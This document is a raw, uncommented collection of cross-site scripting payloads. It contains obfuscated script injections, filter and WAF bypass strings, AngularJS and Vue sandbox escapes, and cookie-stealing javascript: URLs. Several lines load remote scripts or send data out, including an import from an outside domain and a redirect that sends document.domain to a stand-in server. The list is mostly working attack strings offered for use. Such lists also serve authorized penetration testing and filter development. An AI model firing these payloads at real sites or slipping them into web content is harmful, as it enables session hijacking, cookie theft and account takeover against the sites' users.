)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e javascript:/*-- >]]>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img - /style=a:expression(/*'/- /*',/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1)onerror=eval(name) src=1 autofocus onfocus=eval(name)onclick=eval(name) onmouseover=eval(name) onbegin=eval(name)background=javascript:eval(name)//>" [1].find(confirm) iframe/onload='this["src"]="javas	cript:al"+"ert``"';> <img src onerror=import('//bo0om.ru/x/')> <video><source onerror="javascript:javascript:alert(/AmoloHT/)"> <video onerror="javascript:javascript:alert(/AmoloHT/)"><source> <form><button formaction="javascript:javascript:alert(/AmoloHT/)">X <body oninput=javascript:alert(/AmoloHT/)><input autofocus> <math href="javascript:javascript:alert(/AmoloHT/)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(/AmoloHT/)">CLICKME</maction> </math> <frameset onload=javascript:alert(/AmoloHT/)> <table background="javascript:javascript:alert(/AmoloHT/)"> <!--<img src="--><img src=x onerror=javascript:alert(/AmoloHT/)//"> <comment><img src="</comment><img src=x onerror=javascript:alert(/AmoloHT/))//"> <![><img src="]><img src=x onerror=javascript:alert(/AmoloHT/)//"> <style><img src="</style><img src=x onerror=javascript:alert(/AmoloHT/)//"> <li style=list-style:url() onerror=javascript:alert(/AmoloHT/)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(/AmoloHT/)></div> <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(/AmoloHT/)//#">XXX</a></body> <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(/AmoloHT/)</SCRIPT> <script /**/>/**/alert(/AmoloHT/)/**/</script /**/ "><h1/onmouseover='\u0061lert(/AmoloHT/)'> <iframe/src="data:text/html,<svg onload=alert(/AmoloHT/)>"> <meta content="
 1 
; JAVASCRIPT: alert(/AmoloHT/)" http-equiv="refresh"/> <form><iframe 	  src="javascript:alert(/AmoloHT/)" 	;> <marquee onstart=\u0070r\u06f\u006dpt()> <!--><script>confirm/**/()/**/</script> "%3balert`1`%3b" [1].map(alert) or (alert)(1) ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -@naglinagli <img src=x onerror="\u0061lert(1)"/> <img src=x onerror="eval('\141lert(1)')"/> <img src=x onerror="eval('\x61lert(1)')"/> <a href="ja%0Dva%0Dscr%0Dipt:aler%0Dt(1)"> <strong><button popovertarget="x">click me</button><test onbeforetoggle="alert(document.domain)" popover id="x">aaa</test></strong> <strong><button popovertarget="x"></button><test onbeforetoggle="alert(document.domain)" popover id="x"></test></strong> ";alert(0);// onx+%00+onpointerenter%3dalert(domain)+x "><input%252bTyPE%25253d"hxlxmj"%252bSTyLe%25253d"display%25253anone%25253b"%252bonfocus%25253d"this.style.display%25253d'block'%25253b%252bthis.onfocus%25253dnull%25253b"%252boNMoUseOVer%25253d"this['onmo'%25252b'useover']%25253dnull%25253beval(String.fromCharCode(99,111,110,102,105,114,109,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))%25253b"%252bAuToFOcus> "/><svg onauxclick=co\u006efirm(\\1\\)> %3csvg/onload=window%5b"al"+"ert"%5d`1337`%3e <audio src(unknown) onerror="alert(document.cookie)"> \"><iframe/src=javascript:alert%26%23x000000028%3b)> “=””’></><script></script><svg onload=alert(1)> “ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” */</script><script>alert()/* <details%0Aopen%0AonToGgle%0A=%0Aabc=(co\u006efirm);abc%28%60xss%60%26%2300000000000000000041// 'href=javascript:alert()>click me<a/y=' <script ,>alert()</script> \u0061\u006c\u0065\u0072\u0074() onload=prompt`1`> %5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074%28%29 '`"//><script>alert(1)</script> %5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074%28%29 <s%08c%08r%08i%08p%08t>al%08ert%08()<%08/%08s%08c%08r%08i%08p%08t%08> <img+src=1+onerror=alert(1)>&anything_else=test test';alert`1`;a='test alert = window["al"+"ert"] <Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ==")> \u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e <img/src/onerror=alert//
(2)> <img/src/onerror=alert/**/(3)> <svg/onload=window["al"+"ert"]`1337`> javaScRipt:Alert(‘1’) {{constructor.constructor('alert(1)')()}} {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} {}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')() onerror="x='ale';z='r';y='t';p='`XSS`';new constructor.constructor`zzz${`${x}${z}${y}${p}`}bbb` "on{{click=prompt(document['cookie'])/*}}*/> <video src=x onerror="prompt(xss"> Hh'><script>alert(1)</script> <video src=x onerror="prompt(xss)"> <x @[_b.constructor`alert(1)`()]> <x #[_c.constructor`alert(1)`()]> <svg onload=prompt(document.domain)> <video src=x onerror1="prompt(xss)"> Hh'><marquee loop=1 width=0 onfinish=pr\u006fmpt`_Y000!_`>Y000</marquee> ["');alert('1’);//"]@xyz.xxx '<00 foo="<a%20href="javascript:alert('XSS-Bypass')">XSS-CLick</00>--%20/ ["');alert('XSS');//"]@xyz.xxx {{0[a='constructor'][a]('alert(1)')()}} {{$eval.constructor('alert(1)')()}} {{constructor.constructor('alert(/XSS Stored!/)')()}} <div v-html="''.constructor.constructor('alert(1)')()">a</div> <x v-html=_c.constructor('alert(1)')()> {{_c.constructor('alert(1)')()}} <x v-if=_c.constructor('alert(1)')()> {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} {{c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';astNode.argument={type:'Identifier',name:'foo'};");m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a=''.sub;$eval('a(b.c)');[].push.apply=a;}} {{c=''.sub.call;b=''.sub.bind;c.$apply=$apply;c.$eval=b;$root.$$phase=null;$root.$digest=$on; C=c.$apply(c);B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='alert(1)';astNode.argument={type:'Identifier'};");m1=$$asyncQueue.pop().expression;m2=B(C,null,m1);[].push.apply=m2;$eval('B(b)');}} {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} {{$on.constructor('alert("CodePrefer")')()}} {{{{constructor.constructor('alert(\"XSS\")')()}} {"<img onerror=confirm('xss_by_ibro')src/>":1} {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+\"'");}}}} {{[].pop.constructor('alert\u00281\u0029')()}} {{constructor.constructor(‘alert(1)’)()}} {{constructor.constructor(valueOf.name.constructor.fromCharCode(97,108,101,114,116,40,49,41,10))()}} {{c=%27%27.sub.call;b=%27%27.sub.bind;a=%27%27.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync(%22astNode=pop();astNode.type=%27UnaryExpression%27;astNode.operator=%27(window.X?void0:(window.X=true,alert(document.domain)))+%27;astNode.argument={type:%27Identifier%27,name:%27foo%27};%22);m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a=%27%27.sub;$eval(%27a(b.c)%27);[].push.apply=a;}} {{constructor.constructor(‘a=document;confirm(a.domain)’)()}} x=1}}};alert(1)// <input ng-cut=$event.composedPath()|orderBy:'(y=alert)(1)'> {{([].toString()).constructor.prototype.charAt=[].join;$eval(([].toString()).constructor.fromCodePoint([120],[61],[49],[125],[125],[125],[59],[97],[108],[101],[114],[116],[40],[49],[41],[47],[47]));}} {{constructor.constructor("alert(0)")()}} ${document.domain}`%26it;/script>'> 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1 Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; <x ng-app>{{constructor.constructor('alert(1)')()}} \”}})})-confirm`1`;({{/*/// {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() <input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"> <div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div> <input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>}} <input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'> {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}} {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}} {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} {{c='%27%27.sub.call;b='%27%27.sub.bind;a='%27%27.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?voide:(window.X=true,alert(document.domain)))+';astNode.argument={type:'Identifier',name:'foo'};");m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a='%27%27.sub;$eval('a(b.c)'):[].push.apply=a:}} {{c='%27%27.sub.call;b='%27%27.sub.bind;a='%27%27.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync('alert(document.domain)');m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a='%27%27.sub;$eval('a(b.c)'):[].push.apply=a:}} {{c='%27%27.sub.call;b='%27%27.sub.bind;a='%27%27.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync('prompt("Enter something:", document.domain)');m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a='%27%27.sub;$eval('a(b.c)'):[].push.apply=a:}} {{constructor.constructor('eval(atob("YWxlcnQoMSk="))')()}} {{constructor.constructor('prompt(1)')()}} {{''.constructor.constructor('alert(1)')()}} {{'a'.constructor('alert(1)')()}} {{'a'.constructor.constructor('alert(1)')()}} {{toString.constructor.prototype.charAt=toString.constructor.prototype.substr;alert(toString.constructor.fromCharCode(97,108,101,114,116,40,49,41))}}
"> click %3Cscript%3Efor((TESTXSS)in(self))eval(TESTXSS)(`${`TESTXSS`}`)%3C/script%3E img{background-image:url('javascript:alert()')} xss xss '?prompt`1`?' "])},alert(1));(function xss() {// ""});});});alert(1);$('a').each(function(i){$(this).click(function(event){x({y "}]}';alert(1);{{' 11111';\u006F\u006E\u0065rror=\u0063onfirm; throw'1 \');confirm(1);// x");$=alert, $(1);// '|alert(1)|' '*prompt(1)*' #'*prompt(1)*' "> setInterval('ale'+'rt(10)'); XSS"onfocus="prompt(document.cookie)"autofocus=" %253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E %253cimg%20onerror=alert(1)%20src=a%253e %3cimg onerror=alert(1) src=a%3e javascript:x='%27-alert(1)-%27'; %3Cscript%3Ealert(1)%3C/script%3E##1 (alert)(1) "/> "`'> \xE2\x81\x9Fjavascript:javascript:confirm(1) #{{constructor.constructor(alert`1`)()}} Click Here! <--` --!> click L1k0r alert(1) X uxldz anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz \u003e\u003c\u0068\u0031 onclick=alert('1')\u003e javascript:%ef%bb%bfalert(XSS) %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F '">>"> <--%253cimg%20onerror=alert(1)%20src=a%253e --!> javascript:{ alert`0` } <img src=x onError=import('//1152848220/')> %2sscript%2ualert()%2s/script%2u "><xss/contenteditable/autofocus/onfocus="alert(1)">%232%20XSS</xss> <img/src/onerror=alert(1337)> <img/src/onerror= alert(31337)> <svg on onload=(alert)(document.domain)> <img ignored=() src=x onerror=prompt(1)> <svg onx=() onload=(confirm)(document.cookie)> <Rxss onscrollend=alert(origin) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br>++</Rxss> “><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041; "onx+%00+onpointerenter%3dalert(domain)+x" "%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F "><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041; <svg/onload=location/**/='https://your.server/'+document.domain> <img/src=x onError="`${x}`;alert(`Ex.Mi`);"> <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='test'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />tap %3C%5K/onpointerenter=alert(1)> <P/onpointerenter=alert(1)> '-[document.domain].map(alert)-' <meter onmouseover="alert(1)" '">><div><meter onmouseover="alert(1)"</div>" [][“\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162”](“\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51”)() []["filter"]["constructor"]("alert(1)")() /%09/javascript:alert(1) <!--*/!'*/!>%0D<svg/onload=confirm'1'// 1"><%3Csvg onload=alert%28document.cookie%29>' /";%20confirm(1);%20// %22%3e%3c%5K/onwheel=alert(1)%3emouse%20wheel%20here%3c%21-- %22})))}catch(e){alert(document.domain);}// %22-confirm(1)-%22 //%250Aalert?.(1)// %253Cscript%253Ealert('XSS')%253C%252Fscript%253E %3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2fscript%3E %3cscript%3ealert()%3c/script> -alert(23)/ ";a=prompt,a(1)// "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);// '-confirm(document.cookie)-' data:text/html,<script>alert(0)</script> foo<script>alert(document.cookie)</script> #<iframe src=javascript:alert(1)> "><img src=x onerror=alert(1);> <--'<Script>Window.Confirm(2)</Script> --!> <img/src/onerror=alert('kalendra')> javascript:alert(1); javascript:alert(1); /"><img src=y onerror=confirm(1)> ""><img src=y onerror=confirm(1)> #""><img src=y onerror=confirm(1)> <input onfocus="alert(0);" autofocus> <img src=# onerror=alert(1)> ">><marquee><img src=x onerror=confirm(1)></marquee>" onerror=alert(0);> onerror=alert();><script>alert();</script> &redirect?url=javascript://alert(document.cookie) ?url=javscript:alert(1) &redirect_url=javscript:alert(1) &redirect_to=javascript:alert(document.domain) %2500%27onmouseover=%27window.stop();alert(document.domain)%27 ?path=%2500%27onmouseover=%27window.stop();alert(document.domain)%27 <ScRiPt>alert(1)</sCriPt> <svg/onload=alert(1)>"@gmail.com ?__proto__[transport_url]=%3C%2fscript%3E%3Cscript%3Ealert(document.cookie)%3C%2fscript%3Eivl0w \u003e\u003cimg src=1 onerror=alert(0)\u003e "/><svg/onload=prompt(1)> test%22%7D%29%3B%7D%29%3Balert%281%29%3B%2f%2f test123";(alert)("xss")// <x onmouseup=alert(1)>click this! {alert('document.cookie')} jane('"><script>alert(2)</script>)@gmail.com <!--><svg onload=alert(1)--> #<!--><svg onload=alert(1)--> alert`1` #alert`1` ">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'> `${alert(1)}` "oncut=alert(1) "><img+src=x+onerror=alert(1)> <scr\uffffipt>alert(0)</script> <img src=x onerror=alert(document.domain)> 1337 '><marquee onstart="[cookie].find(confirm)"> ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> \><plaintext/onmouseover=prompt(1) a=`\u003c`,b=`\u003e`,location=`javascript:[].findIndex(dump)+(/${a}img src=# onerror=alert(1)${b}/.source)` '-confirm(1)- #'-confirm(1)- "-confirm(1)-" '-confirm(document.domain)-' %22%3E%3Cimg%20src=x%20onerror=confirm%281%29;%3E ');confirm(1);// <script>alert`1`</script> <script>\u0061\u006C\u0065\u0072\u0074(1)</script> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>" <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <script src="data:,alert(1)">/</script> <svg/onrandom=random onload=confirm(1)> <video onnull=null onmouseover=confirm(1)> x"><svg%250donload%3D"window%5B%27alert%27%5D(location[%27hostname%27])" " formaction=java%26Tab%3bscript:ale%26Tab%3brt() type=image src="" setInterval`alert\x2823\x29` <a href="data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=">Click Here</a> { Data URI XSS: data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4= (PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=) : <script>alert('XSS')</script> } window.name='javascript:alert\x2823\x29'; Reflect.set.call`${location}${'href'}${name}` Reflect.apply.call`${alert}${undefined}${[23]}` navigation.navigate`javascript:alert\x2823\x29` var{haha:onerror=alert}=0;throw 1 'alert\x2823\x29'instanceof{[Symbol.hasInstance]:eval} onerror=eval;throw'=alert\x2823\x29'; {onerror=alert}throw 23 throw{},onerror??=alert,"XSS"??123 http://example.com/?%0aalert(23) window.name='javascript:alert(23)'; throw onerror=eval,SyntaxError`alert\x2823\x29` x='javascript:alert\x2823\x29';x={x:location}=this window.name="<img src=x onerror=alert(23)>" <JavaScript:"\74Svg\57OnLoad\75\141\154\145\162\164\501\51\76"/ContentEditable/AutoFocus/OnFocus=location=tagName> document.body.innerHTML="\u003cimg src=x onerror=alert\u002823\u0029\u003e"; document.body.innerHTML="<img src=x onerror=alert(23)>" document.body.innerHTML=document.body.innerText document.location='javascript:alert%2823%29' <svg/onload='alert( 23 )'> onerror=eval;throw'alert\x2845\x29'; prompt`45` ([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')() [45].some.alert() Set.constructor`alert\x2845\x29` +ADw-script+AD4-alert(document.location)+ADw-/script+AD4- " onload="document.cookie" foobar=" location='javaScriPt:alert\x2845\x29' 'javaScriPt:alert\x2845\x29' location=/javascript:alert%2823%29/.source; <img/src="x"/onerror=alert(23)> location='JaVaScRiPt:prompt'+document.location.hash[1]+'45'+document.location.hash[2] 'JaVaScRiPt:prompt'+document.location.hash[1]+'45'+document.location.hash[2] window.name="alert(23)"; '1/-alert\5023\51/'; throw/**/Uncaught=window.onerror=eval,";alert\5023\51" <a+HREF="%26%237 javascrip%26%239t: alert%261par;document .domain) *> ?utm_source=abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e %3Csvg%20onload=alert(1)%3E %3Cimg%20src=x%20onerror=alert(1)%3E %22%3C!--%3E%3CSvg%20OnLoad=confirm?.(/Yetixx%F0%9F%98%88/)%3C!--1%22%29%22%3C%21--%3E%3CSvg+OnLoad%3Dconfirm%3f%2e%28%2fYetixx%2f%29%3C%21-- [].sort.call`${alert}23` throw onerror=eval,SyntaxError`alert\x2823\x29` <object src=1 href=1 onerror="javascript:alert(1)"></object> <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove> "`'><script>\xE2\x80\xAFjavascript:alert(1)</script> `"'><img src=xxx:x onerror\x0C=javascript:alert(1)> %22%3E%3Cli%20style=list-style:url()%20onerror=javascript:alert(1)%3E%20%3Cdiv%20sty <scr\x00ipt>alert('Steiner254')</scr\x00ipt> <ScRiPt>alert('Steiner254');</ScRiPt> <iframe/onload=alert(0);> #<iframe/onload=alert(0);> setTimeout('ale'+'rt(2)'); top['alert'](3) 'te' / alert('/') / 'xt'; ></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)> '-alert(0)-' ',document.location='javascript:document.domain',' blalala');alert(1);('a #blalala');alert(1);('a eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))”> <iframe "><script>alert(“hello”)</script>jnyf0 <IMG SRC=javascript:alert('XSS')> <img/src/onerror=alert(1) <div onpointerenter="alert(45)">MOVE HERE</div> <body ontouchmove=alert(1)> <body ontouchend=alert(1)> <IMG SRC=1 ONERROR=alert(1)> \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1) java%09script:alert(1) \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) javascript://%0Aalert(1) javascript://anything%0D%0A%0D%0Awindow.alert(1) <details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle="prompt(document.cookie);"> <iframe srcdoc="<img src=x onerror=alert(998282828181100019)>"></iframe> /path?next=javascript:top[/al/.source+/ert/.source](document.cookie) login?redirectUrl=javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain <<SCRIPT>alert("test");//<</SCRIPT> <SCRIPT SRC=https://xss.rocks/xss.js?< B > <BODY ONLOAD=alert('XSS')> <TABLE BACKGROUND="javascript:alert('XSS')"> 444-555-4455 <img src=x onerror=alert(1)> <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)> <img/src="x"/onerror="[boom]"> %3cscript%3ealert(1)%3c/script> "}]}';</script><script>alert('You got XSSed')</script> </script><script>alert('You got XSSed')</script> #</script><script>alert('You got XSSed')</script> "}]}';alert('You got XSSed')</script> test“autofocus onclick=’alert()’ <img src="data:image/svg+xml,<svg onload='top[//.source+//ert//.source](document.cookie)'"> <iframe srcdoc="<script>top[//.source+//ert//.source](document.cookie)</script>"></iframe> <a href="/*">*/)});function+__MobileAppList(){alert(1)}//> "><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c"> "*alert(1)*" xss\"\u003E\u003Ch1 onmous\u0045leave=co\u006efirm(domain)\u003ECome to Me\u003C/h1\u003E\u003Cbr\u003E\u003C!-- <s<script>cript>alert()</s<script>cript> alert`23` window.name="javascript:alert(23)"; eval.call`${'alert\x2823\x29'}` eval.apply`${[`alert\x2823\x29`]}` setTimeout`alert\x2823\x29` onerror=alert;throw 23; param A=<script>alert(" #*/confirm(1) javascript:%61lert(1) “`’><script>\x0Djavascript:alert(document.cookie)</script> x"><x a="><script>alert(1)</script> <a+HREF='%26%237javascrip%26%239t:alert%26lpar;document.domain)'> (A(%22onerror=%22alert%601%60%22)) <fieldset//%00//onsite OnMoUsEoVeR=\u0061\u006C\u0065\u0072\u0074/AAAA/> onfocus=alert(1) autofocus> '><img+sRc=l+oNerrOr=prompt(document.cookie)+x> “ OnMouseOver=”prompt`1` "oncut="alert() xss\"\u003E\u003Ch1 onmous\u0045leave=co\u006efirm(domain)\u003ECome to Me\u003C/h1\u003E\u003Cbr\u003E\u003C!-- <script>window['al'+'ert']()</script> <script>top[`alert`]()</script> <img src=x onerror="js:abc='al'+'ert()';eval(abc)" /> <script>window[['conf','irm'].toString().replaceAll(',',"")]()</script> %26#x6c;t;\\x73cript>\\u0061lert(1)%26#x6c;t;/\\x73cript> ‘onfocus=’alert(1)’ %2527%2520onfocus%253D%2527alert%25281%2529%2527%2520 ‘ onfocus=’alert(1)’ autofocus=’ <img%20src=x%20onerror=”%26%2397%26%23108%26%23101%26%23114%26%23116(1)”> "><div class=progress><div onwebkitanimationstart=prompt(document.domain)> /on<script>load=prompt(document.cookie);> quot;">"onmousemove=alert('flag{THIS_IS_THE_FLAG}');"@evil.com</a> javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie “javascript:var{a:onerror}={a:alert};throw%20document.cookie” ?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1) <img/src=`%00`%20onerror=this.onerror=confirm(1) <svg><script%20?>confirm(1) qwe"srcdoc="\u003ce<script%26Tab;src=//dom.xss>\u003ce</script%26Tab;e> ';window/*aabb*/['al'%2b'ert'](document./*aabb*/location);// <img src=x onerror="a='',b=!a+a,aa=!b+a,ab=a+{},ba=b[a++],bb=b[baa=a],bab=++baa+a,aaa=ab[baa+bab],b[aaa+=ab[a]+(b.aa+ab)[a]+aa[bab]+ba+bb+b[baa]+aaa+ba+ab[a]+bb][aaa](aa[a]+aa[baa]+b[bab]+bb+ba+'(a)')()"> anything&callback=%22;alert%60XSS_POC_BY_SAAJAN_BHUJEL%60;%2f%2f anything&callback=";alert`XSS_POC_BY_SAAJAN_BHUJEL`;// <%<script>alert(1)</script> " onload=alert(origin) value=" javascript%3Avar%7Ba%3Aonerror%7D%3D%7Ba%3Aalert%7D%3Bthrow%2520document.cookie "><img src="x" onerror=alert(1337) /> <script>alert()</script>”/></style> %22onmouseover=window[%27al%27%2B%27er%27%2B([%27t%27,%27b%27,%27c%27][0])](document[%27cooki%27%2B(['e','c','z'][0])]);%22 alert(document.domain) /*alert(1)*/ alert(1) \”}})})-confirm`1`;(function(){({if(){/*/// \”}})})-confirm`1`(a=>{({b:{/*/// <base href="javascript:alert('XSS');"> <bgsound src="javascript:alert('XSS');"> <isindex action="javascript:alert('XSS')"> <command onclick="alert('XSS')">Command</command> <fieldset form="javascript:alert('XSS')"> <frameset onload="alert('XSS')"></frameset> <applet code="javascript:alert('XSS')"></applet> <button formaction="javascript:alert('XSS')">Click me</button> <div oncopy="alert('XSS')">Copy me</div> <form onsubmit="alert('XSS')"> <select onchange="alert('XSS')"><option>Option</option></select> <input type="image" src="invalid" onerror="alert('XSS')"> <div style="border-image-source: url(javascript:alert('XSS'));"> <datalist id="xss"><option value="<script>alert('XSS')</script>"></datalist> <meter value=" " min=" " max=" " low=" " high=" " onmouseover="alert('XSS')"></meter> <optgroup label="XSS" onmouseenter="alert('XSS')"></optgroup> <progress onmouseover="alert('XSS')"></progress> <track oncuechange="alert('XSS')"></track> <link rel="stylesheet" href="data:text/css,*{background:url('javascript:alert(XSS)')}"> <div style="list-style-image: url(javascript:alert('XSS'));"> <div data-url="javascript:alert('XSS')"></div> <div style="content: url(javascript:alert('XSS'));"> <style>*{background-image: url(javascript:alert('XSS'))}</style> <div style="cursor: url(javascript:alert('XSS')), auto;"> <meta http-equiv="refresh" content=" ; url=javascript:alert('XSS');"> <input type="button" value="XSS" onclick="alert('XSS')"> <svg><animate attributeName="xlink:href" to="javascript:alert('XSS')" /></svg> <math href="javascript:alert('XSS')" /> <xss style="x:expression(alert('XSS'))"> <form action="javascript:alert('XSS')"><input type="submit" value="XSS"></form> <div style="width:expression(alert('XSS'))"> <Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))> "<zzz><style>@keyframes+x+{}</style><xss+style="animation-Name:+x"+onwebkitanimationstart="print()"></xss> <script>eval('\x61lert(\'33\')')</script> <script>\u0061lert('22')</script> <marquee onstart="alert('XSS')">Start</marquee> <style>@import 'javascript:alert(XSS)';</style> <link rel="import" href="data:text/html,<script>alert('XSS')</script>"> <div onkeyup="alert('XSS')">Press a key</div> <input onblur="alert('XSS')" value="Blur me"> %3Cscript%3E%60alert%60%28%2FXSS%2F%29%3B%3C%2Fscript%3E %3Cimg%20src%3Dx%20onerror%3D%60alert%28%2FXSS%2F%29%60%3E %3Csvg%20onload%3D%60alert%28%2FXSS%2F%29%60%3E%3C%2Fsvg%3E %3Ciframe%20srcdoc%3D%60%3Cscript%3Ealert%28%2FXSS%2F%29%3B%3C%2Fscript%3E%60%3E%3C%2Fiframe%3E %3Cinput%20type%3D%22text%22%20value%3D%22%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E%22%3E 